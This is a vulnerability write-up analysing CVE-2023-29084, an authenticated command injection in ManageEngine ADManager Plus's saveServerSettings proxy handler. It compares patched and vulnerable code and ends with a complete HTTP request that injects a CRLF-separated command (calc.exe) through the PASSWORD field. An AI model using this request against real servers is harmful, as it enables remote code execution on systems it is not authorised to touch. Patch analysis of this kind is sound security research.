Post

CVE-2023-29084 Command injection in ManageEngine ADManager Plus

CVE-2023-29084 analysis

Overview

This CVE’s detail is in ManageEngine ADManager Plus ChangePasswordAction Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ManageEngine ADManager Plus. Authentication is required to exploit this vulnerability.

The specific flaw exists within the ChangePasswordAction function. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account.

The patch

The vulnerability has been fixed in version 7181 so I use 2 versions 7180 and 7181 of ManageEngine ADManager Plus to analyze. You can download them from ManageEngine’s archives Only one line was changed in version 7181, it is proxyCommand variable

image

In vulnerable version

1
proxyCommand = proxyCommand + "reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyUser /t REG_SZ /d " + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("USER_NAME")) + ";reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyPass /t REG_SZ /d " + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("PASSWORD"));

In patched version

1
proxyCommand = proxyCommand + "$username=\"" + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("USER_NAME")) + "\"; $password=\"" + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("PASSWORD")) + "\"; reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyUser /t REG_SZ /d $username; reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyPass /t REG_SZ /d $password";

This variable is used in saveServerSettings function of ChangePasswordAction class

image

Due to webapps/adsm/WEB-INF/security/security.xml, this function can be called from /api/json/admin/saveServerSettings endpoint

image

so the request to call saveServerSettings looks like the following

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /api/json/admin/saveServerSettings HTTP/1.1
Host: 10.10.10.99:8080
Content-Length: 199
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://10.10.10.99:8080
Referer: http://10.10.10.99:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en,en-US;q=0.9
Cookie: Account=Administrator; Challenge=2481f9e4334129e05efa9552803367b9; RememberLogin=false; ChangeKey=2023-02-03%2011%3A48%3A20; ChallengeValue=%25u53F0%25u9054%25u96FB%25u5B5049887487802326272827252728222527222528142725262614284229331428422725; InfraSuite-Manager_SystemLang=Lng-EnglishTagList; AllViewLayoutWestisClosed=false; AllViewLayoutWestSize=250; AllViewLayoutPlaneSouthisClosed=false; AllViewLayoutPlaneSouthSize=320; AllViewLayoutDeviceSouthisClosed=true; AllViewLayoutDeviceSouthSize=150; AllViewLayoutSouthisClosed=false; AllViewLayoutSouthSize=90; InfraSuiteManagerLoginMode=1; WebTitle=DIAEnergie; _lang=en-us; token=eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJBY2NvdW50Ijoicm9vdCIsIkV4cCI6IlwvRGF0ZSgxNjgxNDY3MzUzMzEzKVwvIn0.bbQl6FHFEC1DjxC3SytEMePignjyaOElwPmBGVo4DDemYGMErpTlY_umvQux7IzKmneMxq2oudxEz3nxIDx8Ww; JSESSIONID=x11OrR-gBjEf2_qDoPEEeH0t9yeRWWIebWHbInslbsRbxPlaxsO-!1249488777; admpcsrf=cd69dbc4-b07c-489e-9408-fe5324b0919f; _zcsr_tmp=cd69dbc4-b07c-489e-9408-fe5324b0919f; JSESSIONIDADMP=97816D5CEBAADAC4A931F54B07CCD581; JSESSIONIDADSMSSO=FFA1CBA0FB38058DAB76EF485FC5C907
Connection: close

admpcsrf=cd69dbc4-b07c-489e-9408-fe5324b0919f&params=PAYLOAD

Let’s construct the params to get RCE.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
public void saveServerSettings(HttpServletRequest request, HttpServletResponse response) throws Exception {
    JSONObject responseObj = new JSONObject();
    boolean error = false;
    String errorMessage = "";
    try {
        //////
#1      if (!ClientAuthorizationUtil.isAuthorized(request, AdminConfigConstants.SERVER_ACTION_ID)) {    
            responseObj.put("isAuthorized", false);
        } else {
            HttpSession session = request.getSession();
            Long loginId = (Long)session.getAttribute("ADMP_SESSION_LOGIN_ID");
#2          JSONArray params = new JSONArray(request.getParameter("params"));                           
            JSONObject mailPropJson = new JSONObject();
#3          for(int i = 0; i < params.length(); ++i) {                                                      
                JSONObject tab = (JSONObject)params.get(i);
                String tabId = tab.get("tabId").toString();
                boolean enableProxy;
                boolean currLicenseExpiry;
                String username;
                boolean oldStateDownTime;
                String port;
                boolean currEventNotif;
                if (tabId.equalsIgnoreCase("mail")) {
                    //////
                }
                JSONObject retentionDetails;
                JSONObject maintainDBdetails;
                String serverName;
                if (tabId.equalsIgnoreCase("notify")) {
                    //////
                }
                JSONObject archiveRetention;
                if (tabId.equalsIgnoreCase("retention")) {
                    //////
                }
                if (tabId.equalsIgnoreCase("sms")) {
                    //////
                }
#4              if (tabId.equalsIgnoreCase("proxy")) {                                                  
                    enableProxy = tab.getBoolean("ENABLE_PROXY");
                    archiveRetention = ProxyHandler.getProxySettings();
                    String existingServerName = archiveRetention.optString("SERVER_NAME", "");
                    String existingPort = archiveRetention.optString("PORT", "");
                    String existingUserName = archiveRetention.optString("USER_NAME", "");
                    String password;
#5                  if (enableProxy) {                                                                  
                        username = tab.optString("USER_NAME", "");
                        password = tab.optString("PASSWORD", "");
                        serverName = tab.optString("SERVER_NAME", "");
                        port = tab.optString("PORT", "");
                        if (!existingServerName.equals(serverName) || !existingPort.equals(port) || !existingUserName.equals(username) || !password.isEmpty()) {
                            try {
                                JSONObject proxySettings = new JSONObject();
                                proxySettings.put("SERVER_NAME", serverName);
                                proxySettings.put("PORT", port);
                                proxySettings.put("USER_NAME", username);
                                proxySettings.put("PASSWORD", password);
#6                              ProxyHandler.testConnection(proxySettings);                            
                                ProxyHandler.setProxySettings(proxySettings, new boolean[0]);
                                this.setProxySystemProperties(proxySettings);
                                NativeException ne = new NativeException();
                                String proxyCommand = "reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /v AutoDetect /t REG_DWORD /d 0 /f;reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyEnable /t REG_DWORD /d 1;reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyServer /t REG_SZ /d " + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("SERVER_NAME")) + ":" + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("PORT")) + ";";
                                if (!proxySettings.getString("USER_NAME").isEmpty() && !proxySettings.getString("PASSWORD").isEmpty()) {
#7                                  proxyCommand = proxyCommand + "reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyUser /t REG_SZ /d " + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("USER_NAME")) + ";reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyPass /t REG_SZ /d " + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("PASSWORD"));
                                }
#8                              PSNativeHandler.execPSCommand(proxyCommand, ne);
                                if (ne.getErrorMessage() != null) {
                                    throw new Exception(ne.getErrorMessage().toString());
                                }
                                PSNativeHandler.proxyConfigured = true;
                                savedSettings.add(rb.getString("admp.admin.server_settings.proxy_settings.tab_name"));
                            } catch (NumberFormatException var35) {
                                //////
                            }
                        }
                    } else if (!existingServerName.isEmpty()) {
                        //////
                    }
                }
            }
            //////
        }
    } catch (Exception var41) {
        //////
    }
    response.setContentType("application/json");
    PrintWriter writer = response.getWriter();
    writer.print(responseObj.toString());
    writer.close();
}
  • In #1, the server checks whether user is authenticated or not.
  • In #2, the backend parses params parameter to a json array, and go to every single element of it from #3
  • Due to #4, the element has to have attribute tabId with value proxy
  • Due to #5, the element has to have attribute ENABLE_PROXY with value true
  • In #6, the server try to use proxy constructed by SERVER_NAME and PORT from the element and if the proxy use authentication, the server would use the credential from USER_NAME and PASSWORD. The server will return the error if it cannot connect to proxy.
  • In #7, the proxyCommand append the command constructed by USER_NAME and PASSWORD and this command will be executed in #8

so our RCE payload should be injected to USER_NAME or PASSWORD. ADManager use CommonUtil.getPowerShellEscapedValue to escape all special characters from our USER_NAME and PASSWORD

image

see that does not filter CRLF characters, maybe we can used it to end the command and execute another? As expect, i tried the %0d%0a but it did not work but the \r\n did.

image

Our final payload to execute the legendary calc (remember to change your own proxy)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /api/json/admin/saveServerSettings HTTP/1.1
Host: 10.10.10.99:8080
Content-Length: 183
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://10.10.10.99:8080
Referer: http://10.10.10.99:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en,en-US;q=0.9
Cookie: Account=Administrator; Challenge=2481f9e4334129e05efa9552803367b9; RememberLogin=false; ChangeKey=2023-02-03%2011%3A48%3A20; ChallengeValue=%25u53F0%25u9054%25u96FB%25u5B5049887487802326272827252728222527222528142725262614284229331428422725; InfraSuite-Manager_SystemLang=Lng-EnglishTagList; AllViewLayoutWestisClosed=false; AllViewLayoutWestSize=250; AllViewLayoutPlaneSouthisClosed=false; AllViewLayoutPlaneSouthSize=320; AllViewLayoutDeviceSouthisClosed=true; AllViewLayoutDeviceSouthSize=150; AllViewLayoutSouthisClosed=false; AllViewLayoutSouthSize=90; InfraSuiteManagerLoginMode=1; WebTitle=DIAEnergie; _lang=en-us; token=eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJBY2NvdW50Ijoicm9vdCIsIkV4cCI6IlwvRGF0ZSgxNjgxNDY3MzUzMzEzKVwvIn0.bbQl6FHFEC1DjxC3SytEMePignjyaOElwPmBGVo4DDemYGMErpTlY_umvQux7IzKmneMxq2oudxEz3nxIDx8Ww; JSESSIONID=x11OrR-gBjEf2_qDoPEEeH0t9yeRWWIebWHbInslbsRbxPlaxsO-!1249488777; admpcsrf=cd69dbc4-b07c-489e-9408-fe5324b0919f; _zcsr_tmp=cd69dbc4-b07c-489e-9408-fe5324b0919f; JSESSIONIDADMP=204AD137BC0B510B3FCF03F2155D149D; JSESSIONIDADSMSSO=08C9CDA73E5D21D9A33AADEADB86C650
Connection: close

admpcsrf=cd69dbc4-b07c-489e-9408-fe5324b0919f&params=[{"tabId":"proxy","ENABLE_PROXY":true,"SERVER_NAME":"localhost","USER_NAME":"hoangnd","PASSWORD":"asd\r\ncalc.exe","PORT":"8080"}]

2023-04-14-17-57-30

This post is licensed under CC BY 4.0 by the author.